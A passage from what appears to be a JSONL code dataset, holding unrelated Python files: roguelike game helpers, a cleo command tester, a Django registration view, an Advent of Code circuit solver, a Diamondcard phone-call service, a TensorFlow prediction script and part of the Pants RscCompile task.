continue looping\n for obj in Game.objects:\n if obj.x == x and obj.y == y and obj.fighter and obj != Game.player:\n return obj\n\ndef closest_monster(max_range, Game):\n #find closest enemy up to max range in the player's FOV\n closest_enemy = None\n closest_dist = max_range + 1 #start with slightly higher than max range\n\n for object in Game.objects:\n if object.fighter and not object == Game.player and libtcod.map_is_in_fov(Game.fov_map, object.x, object.y):\n #calculate the distance between this and the player\n dist = Game.player.distance_to(object)\n if dist < closest_dist:\n closest_enemy = object\n closest_dist = dist\n return closest_enemy\n\ndef target_tile(Game, max_range = None):\n #return the position of a tile left-clicked in player's FOV (optionally in a range) or (None, None) if right-clicked\n while True:\n #render screen. this erases the inv and shows the names of objects under the mouse\n libtcod.console_flush()\n libtcod.sys_check_for_event(libtcod.EVENT_KEY_PRESS | libtcod.EVENT_MOUSE, Game.key, Game.mouse)\n render_all(Game)\n\n (x, y) = (Game.mouse.cx, Game.mouse.cy)\n (x, y) = (Game.camera_x + x, Game.camera_y + y) #from screen to map coords\n\n if (Game.mouse.lbutton_pressed and libtcod.map_is_in_fov(Game.fov_map, x, y) and (max_range is None or Game.player.distance(x,y) <= max_range)):\n return (x, y)\n\n if Game.mouse.rbutton_pressed or Game.key.vk == libtcod.KEY_ESCAPE:\n return (None, None)\n\ndef is_blocked(x, y, Game):\n #first test the map tile\n if Game.map[x][y].blocked:\n return True\n\n #now check for any blocking objects\n for object in Game.objects:\n if object.blocks and object.x == x and object.y == y:\n return True\n\n return False\n\n\n","sub_path":"entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":17703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308657429","text":"from io import StringIO\nfrom typing import Optional\n\nfrom cleo.commands.command import Command\nfrom cleo.io.buffered_io import BufferedIO\nfrom cleo.io.inputs.argv_input import ArgvInput\nfrom cleo.io.inputs.string_input import StringInput\nfrom cleo.io.outputs.output import Verbosity\n\n\nclass CommandTester(object):\n \"\"\"\n Eases the testing of console commands.\n \"\"\"\n\n def __init__(self, command: Command) -> None:\n self._command = command\n self._io = BufferedIO()\n self._inputs = []\n self._status_code = None\n\n @property\n def command(self) -> Command:\n return self._command\n\n @property\n def io(self) -> BufferedIO:\n return self._io\n\n @property\n def status_code(self): # type: () -> int\n return self._status_code\n\n def execute(\n self,\n args: Optional[str] = \"\",\n inputs: Optional[str] = None,\n interactive: Optional[bool] = None,\n verbosity: Optional[Verbosity] = None,\n decorated: Optional[bool] = None,\n supports_utf8: bool = True,\n ) -> int:\n \"\"\"\n Executes the command\n \"\"\"\n application = self._command.application\n\n input = StringInput(args)\n if application is not None and application.definition.has_argument(\"command\"):\n name = self._command.name\n if \" \" in name:\n # If the command is namespaced we rearrange\n # the input to parse it as a single argument\n argv = [application.name, self._command.name] + input._tokens\n\n input = ArgvInput(argv)\n else:\n input = StringInput(name + \" \" + args)\n\n self._io.set_input(input)\n self._io.output.set_supports_utf8(supports_utf8)\n self._io.error_output.set_supports_utf8(supports_utf8)\n\n if inputs is not None:\n self._io.input.set_stream(StringIO(inputs))\n\n if interactive is not None:\n self._io.interactive(interactive)\n\n if verbosity is not None:\n self._io.set_verbosity(verbosity)\n\n if decorated is not None:\n self._io.decorated(decorated)\n\n self._status_code = self._command.run(self._io)\n\n return self._status_code\n","sub_path":"mds_py/mds-env/lib/python3.11/site-packages/cleo/testers/command_tester.py","file_name":"command_tester.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"185125731","text":"from django.shortcuts import render\nfrom . forms import newUser\nfrom django.shortcuts import render, redirect\n\ndef register(request):\n\tif request.method == 'POST':\n\t\tform = newUser(request.POST)\n\t\tif form.is_valid():\n\t\t\tinstance = form.save(commit=False)\n\t\t\tinstance.author = request.user\n\t\t\tinstance.save()\n\t\t\tmessages.success(request, f'New Search Successfully Added!')\n\t\t\treturn redirect('sko/home')\n\telse:\n\t\tform = newUser()\n\treturn render(request, 'sko/register.html', {'form':form})\n# Create your views here.\n","sub_path":"sko_swap/sko_swap/registration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"281876842","text":"import re\n\ndef getKey(line):\n return ''.join(re.findall('\\>\\s([a-z]+)', line))\n\ndef getArgument(line, index):\n if index == 1:\n result = ''.join(re.findall('([a-z0-9]+).+\\-', line))\n if result.isdigit():\n result = int(result)\n return result\n else:\n result = ''.join(re.findall('[a-z0-9]\\s[A-Z]+\\s([a-z0-9]+)\\s\\-', line))\n if result.isdigit():\n result = int(result)\n return result\n\ndef getGate(line):\n return ''.join(re.findall('([A-Z]+)',line))\n\ndef getValue(instruction):\n result = False\n if isinstance(instruction['arg1'], int) and instruction['arg2'] == '':\n # print('getValue - IF')\n if instruction['gate'] == '':\n result = instruction['arg1']\n else:\n result = ~instruction['arg1']\n else:\n result = False\n\n return result\n\ndef calculateValue(list, key):\n\n gate = list[key]['gate']\n arg1 = list[key]['arg1']\n arg2 = list[key]['arg2']\n value = list[key]['value']\n # print('key: ', key, '; ', arg1, gate, arg2)\n result = 0\n\n if value != False:\n result = value\n\n elif (isinstance(arg1, int)) and arg2 == '':\n # print('if (isinstance(arg1, int)):')\n if gate == '':\n result = arg1\n elif gate == 'NOT':\n # else:\n result = ~ arg1\n\n elif (isinstance(arg1, str) and arg2 == ''):\n # print('elif (isinstance(arg1, str)):')\n if gate == '':\n result = calculateValue(list, arg1)\n elif gate == 'NOT':\n # else:\n result = ~ calculateValue(list, arg1)\n\n elif (isinstance(arg1, int)) and (isinstance(arg2, int)):\n # print('elif (isinstance(arg1, int)) and (isinstance(arg2, int)):')\n if gate == 'AND':\n result = arg1 & arg2\n elif gate == 'OR':\n result = arg1 | arg2\n elif gate == 'LSHIFT':\n result = arg1 << arg2\n elif gate == 'RSHIFT':\n # else:\n result = arg1 >> arg2\n\n elif (isinstance(arg1, int)) and (isinstance(arg2, str)):\n # print('elif (isinstance(arg1, int)) and (isinstance(arg2, str)):')\n if gate == 'AND':\n result = arg1 & calculateValue(list, arg2)\n elif gate == 'OR':\n # else:\n result = arg1 | calculateValue(list, arg2)\n\n elif (isinstance(arg1, str)) and (isinstance(arg2, int)):\n # print('elif (isinstance(arg1, str)) and (isinstance(arg2, int)):')\n if gate == 'AND':\n result = calculateValue(list, arg1) & arg2\n elif gate == 'OR':\n result = calculateValue(list, arg1) | arg2\n elif gate == 'LSHIFT':\n # print ('ls: ', calculateValue(list, arg1) << arg2)\n result = calculateValue(list, arg1) << arg2\n elif gate == 'RSHIFT':\n # else:\n result = calculateValue(list, arg1) >> arg2\n\n elif (isinstance(arg1, str)) and (isinstance(arg2, str)):\n # else:\n # print('elif (isinstance(arg1, str)) and (isinstance(arg2, str)):')\n if gate == 'AND':\n result = calculateValue(list, arg1) & calculateValue(list, arg2)\n elif gate == 'OR':\n # else:\n result = calculateValue(list, arg1) | calculateValue(list, arg2)\n\n list[key]['value'] = result\n return result & 0xffff\n\n\nlistOfInstruction = {}\nwith open('/Users/martinkaniok/GitHub/repository/Adventofcode/2015/7/input.txt') as input_file:\n for line in input_file:\n key = getKey(line)\n listOfInstruction[key] = {'arg1': getArgument(line, 1), 'arg2': getArgument(line, 2), 'gate': getGate(line), 'value': False}\n listOfInstruction[key]['value'] = getValue(listOfInstruction[key])\n # print(listOfInstruction[key])\n\nprint(calculateValue(listOfInstruction, 'a'))\n","sub_path":"2015/7/7-1c.py","file_name":"7-1c.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169985663","text":"import urllib\n\nimport pochi.mail\n\n\nclass Diamondcard:\n \"\"\"The :class:`.Diamondcard` service allows one to trigger the call\n now action provided by `Diamondcard <https://www.diamondcard.us/>`_.\n \"\"\"\n \n def __init__(self, account_id, pin, source):\n self._account_id = account_id\n self._pin = pin\n self._source = source\n \n def process(self, mail):\n to = pochi.mail.decode_header(mail[\"To\"])\n from_ = pochi.mail.decode_header(mail[\"From\"])\n subject = pochi.mail.decode_header(mail[\"Subject\"])\n body = pochi.mail.decode_body(mail)\n \n if subject.startswith(\"電話\"):\n destination = subject[3:]\n self._call(destination)\n \n def _call(self, destination):\n url = \"https://www.diamondcard.us/exec/voip-login\"\n query = urllib.parse.urlencode({\"accId\": self._account_id,\n \"pinCode\": self._pin,\n \"act\": \"cn\",\n \"sn\": self._source,\n \"dn\": destination})\n result = urllib.request.urlopen(\"?\".join((url, query)))\n \n print(result)\n","sub_path":"pochi/services/diamondcard.py","file_name":"diamondcard.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"74274689","text":"from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport os\r\n\r\nimport numpy as np\r\n\r\nimport tensorflow as tf\r\n\r\nwith tf.Session() as sess:\r\n # Chargement du réseau\r\n basePath = 'SavedNetworksEstimator'\r\n tmpDir = 'lastSave'\r\n savePathFull = os.path.join(basePath, tmpDir)\r\n print (\"Restoring from \", savePathFull)\r\n\r\n # loading model\r\n tf.saved_model.loader.load(sess, [tf.saved_model.tag_constants.SERVING], savePathFull)\r\n\r\n #get the predictor , refer tf.contrib.predicdtor\r\n predictor= tf.contrib.predictor.from_saved_model(savePathFull)\r\n\r\n #get the input_tensor tensor from the model graph\r\n # name is input_tensor defined in input_receiver function refer to tf.dnn.classifier\r\n input_tensor=tf.get_default_graph().get_tensor_by_name(\"input_tensors:0\")\r\n\r\n #get the output dict\r\n # do not forget [] around model_input or else it will complain shape() for Tensor shape(?,)\r\n # since its of shape(?,) when we trained it\r\n\r\n\r\n\r\n IRIS_TEST = \"DATA/testBase.csv\"\r\n\r\n test_set = tf.contrib.learn.datasets.base.load_csv_with_header(\r\n filename=IRIS_TEST,\r\n target_dtype=np.int,\r\n features_dtype=np.float32)\r\n \r\n \r\n new_samples = []\r\n sample = test_set.data[1]\r\n new_samples.append(sample)\r\n\r\n sample = test_set.data[2]\r\n new_samples.append(sample)\r\n \r\n #new_samples = np.array(\r\n #[[6.9, 3.2, 4.5, 1.5],\r\n #[4.8, 3.1, 5.0, 1.7]], dtype=np.float32)\r\n\r\n for sample in new_samples:\r\n #print (sample)\r\n\r\n model_input= tf.train.Example(features=tf.train.Features(feature={\r\n 'x': tf.train.Feature(float_list=tf.train.FloatList(value=sample)) \r\n }))\r\n\r\n #Prepare model input, the model expects a float array to be passed to x\r\n # check line 28 serving_input_receiver_fn\r\n model_input=model_input.SerializeToString()\r\n \r\n # calcul de la prediction ... depuis les scores \r\n predictions= predictor({\"inputs\":[model_input]})\r\n classe_id = np.argmax(predictions[\"scores\"])\r\n \r\n #dicoClasses = ['setosa', 'versicolor', 'virginica']\r\n\r\n print (\"je pense que c'est la classe numero : \",classe_id)","sub_path":"TutosPython/Plantes/plantesDnnEstimatorPredict.py","file_name":"plantesDnnEstimatorPredict.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"258186899","text":"# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nimport functools\nimport logging\nimport os\nimport re\nfrom dataclasses import dataclass\n\nfrom pants.backend.jvm.subsystems.dependency_context import DependencyContext # noqa\nfrom pants.backend.jvm.subsystems.rsc import Rsc\nfrom pants.backend.jvm.subsystems.shader import Shader\nfrom pants.backend.jvm.targets.jvm_target import JvmTarget\nfrom pants.backend.jvm.tasks.classpath_entry import ClasspathEntry\nfrom pants.backend.jvm.tasks.jvm_compile.compile_context import CompileContext\nfrom pants.backend.jvm.tasks.jvm_compile.execution_graph import Job\nfrom pants.backend.jvm.tasks.jvm_compile.zinc.zinc_compile import ZincCompile\nfrom pants.base.build_environment import get_buildroot\nfrom pants.base.exceptions import TaskError\nfrom pants.base.workunit import WorkUnitLabel\nfrom pants.build_graph.mirrored_target_option_mixin import MirroredTargetOptionMixin\nfrom pants.engine.fs import (\n EMPTY_DIRECTORY_DIGEST,\n DirectoryToMaterialize,\n PathGlobs,\n PathGlobsAndRoot,\n)\nfrom pants.engine.isolated_process import ExecuteProcessRequest, FallibleExecuteProcessResult\nfrom pants.java.jar.jar_dependency import JarDependency\nfrom pants.reporting.reporting_utils import items_to_report_element\nfrom pants.util.collections import assert_single_element\nfrom pants.util.contextutil import Timer\nfrom pants.util.dirutil import fast_relpath, fast_relpath_optional, safe_mkdir\nfrom pants.util.memo import memoized_method, memoized_property\nfrom pants.util.objects import enum\nfrom pants.util.strutil import safe_shlex_join\n\n\n#\n# This is a subclass of zinc compile that uses both Rsc and Zinc to do\n# compilation.\n# It uses Rsc and the associated tools to outline scala targets. It then\n# passes those outlines to zinc to produce the final compile artifacts.\n#\n#\nlogger = logging.getLogger(__name__)\n\n\ndef fast_relpath_collection(collection):\n buildroot = get_buildroot()\n return [fast_relpath_optional(c, buildroot) or c for c in collection]\n\n\ndef stdout_contents(wu):\n if isinstance(wu, FallibleExecuteProcessResult):\n return wu.stdout.rstrip()\n with open(wu.output_paths()['stdout']) as f:\n return f.read().rstrip()\n\n\ndef _create_desandboxify_fn(possible_path_patterns):\n # Takes a collection of possible canonical prefixes, and returns a function that\n # if it finds a matching prefix, strips the path prior to the prefix and returns it\n # if it doesn't it returns the original path\n # TODO remove this after https://github.com/scalameta/scalameta/issues/1791 is released\n regexes = [re.compile('/({})'.format(p)) for p in possible_path_patterns]\n def desandboxify(path):\n if not path:\n return path\n for r in regexes:\n match = r.search(path)\n if match:\n logger.debug('path-cleanup: matched {} with {} against {}'.format(match, r.pattern, path))\n return match.group(1)\n logger.debug('path-cleanup: no match for {}'.format(path))\n return path\n return desandboxify\n\n\nclass CompositeProductAdder:\n def __init__(self, *products):\n self.products = products\n\n def add_for_target(self, *args, **kwargs):\n for product in self.products:\n product.add_for_target(*args, **kwargs)\n\n\nclass RscCompileContext(CompileContext):\n def __init__(self,\n target,\n analysis_file,\n classes_dir,\n rsc_jar_file,\n jar_file,\n log_dir,\n args_file,\n post_compile_merge_dir,\n sources,\n workflow):\n super().__init__(target, analysis_file, classes_dir, jar_file, log_dir, args_file, post_compile_merge_dir, sources)\n self.workflow = workflow\n self.rsc_jar_file = rsc_jar_file\n\n def ensure_output_dirs_exist(self):\n safe_mkdir(os.path.dirname(self.rsc_jar_file.path))\n\n\nclass RscCompile(ZincCompile, MirroredTargetOptionMixin):\n \"\"\"Compile Scala and Java code to classfiles using Rsc.\"\"\"\n\n _name = 'mixed' # noqa\n compiler_name = 'rsc'\n\n @memoized_property\n def mirrored_target_option_actions(self):\n return {\n 'workflow': self._identify_workflow_tags,\n }\n\n @classmethod\n def implementation_version(cls):\n return super().implementation_version() + [('RscCompile', 173)]\n\n class JvmCompileWorkflowType(enum(['zinc-only', 'zinc-java', 'rsc-and-zinc'])):\n \"\"\"Target classifications used to correctly schedule Zinc and Rsc jobs.\n\n There are some limitations we have to work around before we can compile everything through Rsc\n and followed by Zinc.\n - rsc is not able to outline all scala code just yet (this is also being addressed through\n automated rewrites).\n - javac is unable to consume rsc's jars just yet.\n - rsc is not able to outline all java code just yet (this is likely to *not* require rewrites,\n just some more work on rsc).\n\n As we work on improving our Rsc integration, we'll need to create more workflows to more closely\n map the supported features of Rsc. This enum class allows us to do that.\n\n - zinc-only: compiles targets just with Zinc and uses the Zinc products of their dependencies.\n - zinc-java: the same as zinc-only for now, for targets with any java sources (which rsc can't\n syet outline).\n - rsc-and-zinc: compiles targets with Rsc to create \"header\" jars, and runs Zinc against the\n Rsc products of their dependencies. The Rsc compile uses the Rsc products of Rsc compatible\n targets and the Zinc products of zinc-only targets.\n \"\"\"\n\n @memoized_property\n def _compiler_tags(self):\n return {\n '{prefix}:{workflow_name}'.format(\n prefix=self.get_options().force_compiler_tag_prefix,\n workflow_name=workflow.value): workflow\n for workflow in self.JvmCompileWorkflowType.all_variants\n }\n\n @classmethod\n def register_options(cls, register):\n super().register_options(register)\n register('--force-compiler-tag-prefix', default='use-compiler', metavar='<tag>',\n help='Always compile targets marked with this tag with rsc, unless the workflow is '\n 'specified on the cli.')\n register('--workflow', type=cls.JvmCompileWorkflowType,\n default=cls.JvmCompileWorkflowType.zinc_only, metavar='<workflow>',\n help='The workflow to use to compile JVM targets.', fingerprint=True)\n\n register('--extra-rsc-args', type=list, default=[],\n help='Extra arguments to pass to the rsc invocation.')\n\n cls.register_jvm_tool(\n register,\n 'rsc',\n classpath=[\n JarDependency(\n org='com.twitter',\n name='rsc_2.12',\n rev='0.0.0-768-7357aa0a',\n ),\n ],\n custom_rules=[\n Shader.exclude_package('rsc', recursive=True),\n ]\n )\n\n @classmethod\n def product_types(cls):\n return super(RscCompile, cls).product_types() + ['rsc_mixed_compile_classpath']\n\n @memoized_property\n def _rsc(self):\n return Rsc.global_instance()\n\n @memoized_property\n def _rsc_classpath(self):\n return self.tool_classpath('rsc')\n\n # TODO: allow @memoized_method to convert lists into tuples so they can be hashed!\n @memoized_property\n def _nailgunnable_combined_classpath(self):\n \"\"\"Register all of the component tools of the rsc compile task as a \"combined\" jvm tool.\n\n This allows us to invoke their combined classpath in a single nailgun instance (see #7089 and\n #7092). We still invoke their classpaths separately when not using nailgun, however.\n \"\"\"\n cp = []\n cp.extend(self._rsc_classpath)\n # Add zinc's classpath so that it can be invoked from the same nailgun instance.\n cp.extend(super().get_zinc_compiler_classpath())\n return cp\n\n # Overrides the normal zinc compiler classpath, which only contains zinc.\n def get_zinc_compiler_classpath(self):\n return self.execution_strategy_enum.resolve_for_enum_variant({\n # NB: We must use the verbose version of super() here, possibly because of the lambda.\n self.HERMETIC: lambda: super(RscCompile, self).get_zinc_compiler_classpath(),\n self.SUBPROCESS: lambda: super(RscCompile, self).get_zinc_compiler_classpath(),\n self.NAILGUN: lambda: self._nailgunnable_combined_classpath,\n })()\n\n def register_extra_products_from_contexts(self, targets, compile_contexts):\n super().register_extra_products_from_contexts(targets, compile_contexts)\n\n def confify(entries):\n return [(conf, e) for e in entries for conf in self._confs]\n\n # Ensure that the jar/rsc jar is on the rsc_mixed_compile_classpath.\n for target in targets:\n merged_cc = compile_contexts[target]\n rsc_cc = merged_cc.rsc_cc\n zinc_cc = merged_cc.zinc_cc\n if rsc_cc.workflow is not None:\n cp_entries = rsc_cc.workflow.resolve_for_enum_variant({\n 'zinc-only': lambda: confify([self._classpath_for_context(zinc_cc)]),\n 'zinc-java': lambda: confify([self._classpath_for_context(zinc_cc)]),\n 'rsc-and-zinc': lambda: confify([rsc_cc.rsc_jar_file]),\n })()\n self.context.products.get_data('rsc_mixed_compile_classpath').add_for_target(\n target,\n cp_entries)\n\n def create_empty_extra_products(self):\n super().create_empty_extra_products()\n\n compile_classpath = self.context.products.get_data('compile_classpath')\n runtime_classpath = self.context.products.get_data('runtime_classpath')\n classpath_product = self.context.products.get_data('rsc_mixed_compile_classpath')\n if not classpath_product:\n classpath_product = self.context.products.get_data(\n 'rsc_mixed_compile_classpath', compile_classpath.copy)\n else:\n classpath_product.update(compile_classpath)\n classpath_product.update(runtime_classpath)\n\n def select(self, target):\n if not isinstance(target, JvmTarget):\n return False\n return self._classify_target_compile_workflow(target) is not None\n\n @memoized_method\n def _identify_workflow_tags(self, target):\n try:\n all_tags = [self._compiler_tags.get(tag) for tag in target.tags]\n filtered_tags = filter(None, all_tags)\n return assert_single_element(list(filtered_tags))\n except StopIteration:\n return None\n except ValueError as e:\n raise ValueError('Multiple compile workflow tags specified for target {}: {}'\n .format(target, e))\n\n @memoized_method\n def _classify_target_compile_workflow(self, target):\n \"\"\"Return the compile workflow to use for this target.\"\"\"\n # scala_library() targets may have a `.java_sources` property.\n java_sources = getattr(target, 'java_sources', [])\n if java_sources or target.has_sources('.java'):\n # If there are any java sources to compile, treat it as a java library since rsc can't outline\n # java yet.\n return self.JvmCompileWorkflowType.zinc_java\n if target.has_sources('.scala'):\n return self.get_scalar_mirrored_target_option('workflow', target)\n return None\n\n def _key_for_target_as_dep(self, target, workflow):\n # used for jobs that are either rsc jobs or zinc jobs run against rsc\n return workflow.resolve_for_enum_variant({\n 'zinc-only': lambda: self._zinc_key_for_target(target, workflow),\n 'zinc-java': lambda: self._zinc_key_for_target(target, workflow),\n 'rsc-and-zinc': lambda: self._rsc_key_for_target(target),\n })()\n\n def _rsc_key_for_target(self, target):\n return 'rsc({})'.format(target.address.spec)\n\n def _zinc_key_for_target(self, target, workflow):\n return workflow.resolve_for_enum_variant({\n 'zinc-only': lambda: 'zinc[zinc-only]({})'.format(target.address.spec),\n 'zinc-java': lambda: 'zinc[zinc-java]({})'.format(target.address.spec),\n 'rsc-and-zinc': lambda: 'zinc[rsc-and-zinc]({})'.format(target.address.spec),\n })()\n\n def _write_to_cache_key_for_target(self, target):\n return 'write_to_cache({})'.format(target.address.spec)\n\n def create_compile_jobs(self,\n compile_target,\n compile_contexts,\n invalid_dependencies,\n ivts,\n counter,\n runtime_classpath_product):\n\n def work_for_vts_rsc(vts, ctx):\n target = ctx.target\n tgt, = vts.targets\n\n # If we didn't hit the cache in the cache job, run rsc.\n if not vts.valid:\n counter_val = str(counter()).rjust(counter.format_length(), ' ')\n counter_str = '[{}/{}] '.format(counter_val, counter.size)\n self.context.log.info(\n counter_str,\n 'Rsc-ing ',\n items_to_report_element(ctx.sources, '{} source'.format(self.name())),\n ' in ',\n items_to_report_element([t.address.reference() for t in vts.targets], 'target'),\n ' (',\n ctx.target.address.spec,\n ').')\n # This does the following\n # - Collect the rsc classpath elements, including zinc compiles of rsc incompatible targets\n # and rsc compiles of rsc compatible targets.\n # - Run Rsc on the current target with those as dependencies.\n\n dependencies_for_target = list(\n DependencyContext.global_instance().dependencies_respecting_strict_deps(target))\n\n classpath_paths = []\n classpath_directory_digests = []\n classpath_product = self.context.products.get_data('rsc_mixed_compile_classpath')\n classpath_entries = classpath_product.get_classpath_entries_for_targets(dependencies_for_target)\n for _conf, classpath_entry in classpath_entries:\n classpath_paths.append(fast_relpath(classpath_entry.path, get_buildroot()))\n if self.HERMETIC == self.execution_strategy_enum.value and not classpath_entry.directory_digest:\n raise AssertionError(\n \"ClasspathEntry {} didn't have a Digest, so won't be present for hermetic \"\n \"execution of rsc\".format(classpath_entry)\n )\n classpath_directory_digests.append(classpath_entry.directory_digest)\n\n ctx.ensure_output_dirs_exist()\n\n with Timer() as timer:\n # Outline Scala sources into SemanticDB / scalac compatible header jars.\n # ---------------------------------------------\n rsc_jar_file_relative_path = fast_relpath(ctx.rsc_jar_file.path, get_buildroot())\n\n sources_snapshot = ctx.target.sources_snapshot(scheduler=self.context._scheduler)\n\n distribution = self._get_jvm_distribution()\n\n def hermetic_digest_classpath():\n jdk_libs_rel, jdk_libs_digest = self._jdk_libs_paths_and_digest(distribution)\n\n merged_sources_and_jdk_digest = self.context._scheduler.merge_directories(\n (jdk_libs_digest, sources_snapshot.directory_digest) + tuple(classpath_directory_digests))\n classpath_rel_jdk = classpath_paths + jdk_libs_rel\n return (merged_sources_and_jdk_digest, classpath_rel_jdk)\n def nonhermetic_digest_classpath():\n classpath_abs_jdk = classpath_paths + self._jdk_libs_abs(distribution)\n return ((EMPTY_DIRECTORY_DIGEST), classpath_abs_jdk)\n\n (input_digest, classpath_entry_paths) = self.execution_strategy_enum.resolve_for_enum_variant({\n self.HERMETIC: hermetic_digest_classpath,\n self.SUBPROCESS: nonhermetic_digest_classpath,\n self.NAILGUN: nonhermetic_digest_classpath,\n })()\n\n target_sources = ctx.sources\n args = [\n '-cp', os.pathsep.join(classpath_entry_paths),\n '-d', rsc_jar_file_relative_path,\n ] + self.get_options().extra_rsc_args + target_sources\n\n self.write_argsfile(ctx, args)\n\n self._runtool(distribution, input_digest, ctx)\n\n self._record_target_stats(tgt,\n len(classpath_entry_paths),\n len(target_sources),\n timer.elapsed,\n False,\n 'rsc'\n )\n\n # Update the products with the latest classes.\n self.register_extra_products_from_contexts([ctx.target], compile_contexts)\n\n ### Create Jobs for ExecutionGraph\n cache_doublecheck_jobs = []\n rsc_jobs = []\n zinc_jobs = []\n\n # Invalidated targets are a subset of relevant targets: get the context for this one.\n compile_target = ivts.target\n merged_compile_context = compile_contexts[compile_target]\n rsc_compile_context = merged_compile_context.rsc_cc\n zinc_compile_context = merged_compile_context.zinc_cc\n\n cache_doublecheck_key = self.exec_graph_double_check_cache_key_for_target(compile_target)\n\n def all_zinc_rsc_invalid_dep_keys(invalid_deps):\n \"\"\"Get the rsc key for an rsc-and-zinc target, or the zinc key for a zinc-only target.\"\"\"\n for tgt in invalid_deps:\n # None can occur for e.g. JarLibrary deps, which we don't need to compile as they are\n # populated in the resolve goal.\n tgt_rsc_cc = compile_contexts[tgt].rsc_cc\n if tgt_rsc_cc.workflow is not None:\n # Rely on the results of zinc compiles for zinc-compatible targets\n yield self._key_for_target_as_dep(tgt, tgt_rsc_cc.workflow)\n\n def make_cache_doublecheck_job(dep_keys):\n # As in JvmCompile.create_compile_jobs, we create a cache-double-check job that all \"real\" work\n # depends on. It depends on completion of the same dependencies as the rsc job in order to run\n # as late as possible, while still running before rsc or zinc.\n return Job(cache_doublecheck_key,\n functools.partial(self._default_double_check_cache_for_vts, ivts),\n dependencies=list(dep_keys))\n\n def make_rsc_job(target, dep_targets):\n return Job(\n key=self._rsc_key_for_target(target),\n fn=functools.partial(\n # NB: This will output to the 'rsc_mixed_compile_classpath' product via\n # self.register_extra_products_from_contexts()!\n work_for_vts_rsc,\n ivts,\n rsc_compile_context,\n ),\n # The rsc jobs depend on other rsc jobs, and on zinc jobs for targets that are not\n # processed by rsc.\n dependencies=[cache_doublecheck_key] + list(all_zinc_rsc_invalid_dep_keys(dep_targets)),\n size=self._size_estimator(rsc_compile_context.sources),\n )\n\n def only_zinc_invalid_dep_keys(invalid_deps):\n for tgt in invalid_deps:\n rsc_cc_tgt = compile_contexts[tgt].rsc_cc\n if rsc_cc_tgt.workflow is not None:\n yield self._zinc_key_for_target(tgt, rsc_cc_tgt.workflow)\n\n def make_zinc_job(target, input_product_key, output_products, dep_keys):\n return Job(\n key=self._zinc_key_for_target(target, rsc_compile_context.workflow),\n fn=functools.partial(\n self._default_work_for_vts,\n ivts,\n zinc_compile_context,\n input_product_key,\n counter,\n compile_contexts,\n CompositeProductAdder(*output_products)),\n dependencies=[cache_doublecheck_key] + list(dep_keys),\n size=self._size_estimator(zinc_compile_context.sources),\n )\n\n workflow = rsc_compile_context.workflow\n\n # Replica of JvmCompile's _record_target_stats logic\n def record(k, v):\n self.context.run_tracker.report_target_info(\n self.options_scope,\n compile_target,\n ['compile', k],\n v\n )\n record('workflow', workflow.value)\n record('execution_strategy', self.execution_strategy)\n\n # Create the cache doublecheck job.\n workflow.resolve_for_enum_variant({\n 'zinc-only': lambda: cache_doublecheck_jobs.append(\n make_cache_doublecheck_job(list(all_zinc_rsc_invalid_dep_keys(invalid_dependencies)))\n ),\n 'zinc-java': lambda: cache_doublecheck_jobs.append(\n make_cache_doublecheck_job(list(only_zinc_invalid_dep_keys(invalid_dependencies)))\n ),\n 'rsc-and-zinc': lambda: cache_doublecheck_jobs.append(\n make_cache_doublecheck_job(list(all_zinc_rsc_invalid_dep_keys(invalid_dependencies)))\n ),\n })()\n\n # Create the rsc job.\n # Currently, rsc only supports outlining scala.\n workflow.resolve_for_enum_variant({\n 'zinc-only': lambda: None,\n 'zinc-java': lambda: None,\n 'rsc-and-zinc': lambda: rsc_jobs.append(make_rsc_job(compile_target, invalid_dependencies)),\n })()\n\n # Create the zinc compile jobs.\n # - Scala zinc compile jobs depend on the results of running rsc on the scala target.\n # - Java zinc compile jobs depend on the zinc compiles of their dependencies, because we can't\n # generate jars that make javac happy at this point.\n workflow.resolve_for_enum_variant({\n # NB: zinc-only zinc jobs run zinc and depend on rsc and/or zinc compile outputs.\n 'zinc-only': lambda: zinc_jobs.append(\n make_zinc_job(\n compile_target,\n input_product_key='rsc_mixed_compile_classpath',\n output_products=[\n runtime_classpath_product,\n self.context.products.get_data('rsc_mixed_compile_classpath'),\n ],\n dep_keys=list(all_zinc_rsc_invalid_dep_keys(invalid_dependencies)))),\n # NB: javac can't read rsc output yet, so we need it to depend strictly on zinc\n # compilations of dependencies.\n 'zinc-java': lambda: zinc_jobs.append(\n make_zinc_job(\n compile_target,\n input_product_key='runtime_classpath',\n output_products=[\n runtime_classpath_product,\n self.context.products.get_data('rsc_mixed_compile_classpath'),\n ],\n dep_keys=list(only_zinc_invalid_dep_keys(invalid_dependencies)))),\n 'rsc-and-zinc': lambda: zinc_jobs.append(\n # NB: rsc-and-zinc jobs run zinc and depend on both rsc and zinc compile outputs.\n make_zinc_job(\n compile_target,\n input_product_key='rsc_mixed_compile_classpath',\n # NB: We want to ensure the 'runtime_classpath' product *only* contains the outputs of\n # zinc compiles, and that the 'rsc_mixed_compile_classpath' entries for rsc-compatible targets\n # *only* contain the output of an rsc compile for that target.\n output_products=[\n runtime_classpath_product,\n ],\n dep_keys=list(all_zinc_rsc_invalid_dep_keys(invalid_dependencies)),\n )),\n })()\n\n compile_jobs = rsc_jobs + zinc_jobs\n\n # Create a job that depends on all real work having completed that will eagerly write to the\n # cache by calling `vt.update()`.\n write_to_cache_job = Job(\n key=self._write_to_cache_key_for_target(compile_target),\n fn=ivts.update,\n dependencies=[job.key for job in compile_jobs],\n run_asap=True,\n on_failure=ivts.force_invalidate)\n\n all_jobs = cache_doublecheck_jobs + rsc_jobs + zinc_jobs + [write_to_cache_job]\n return (all_jobs, 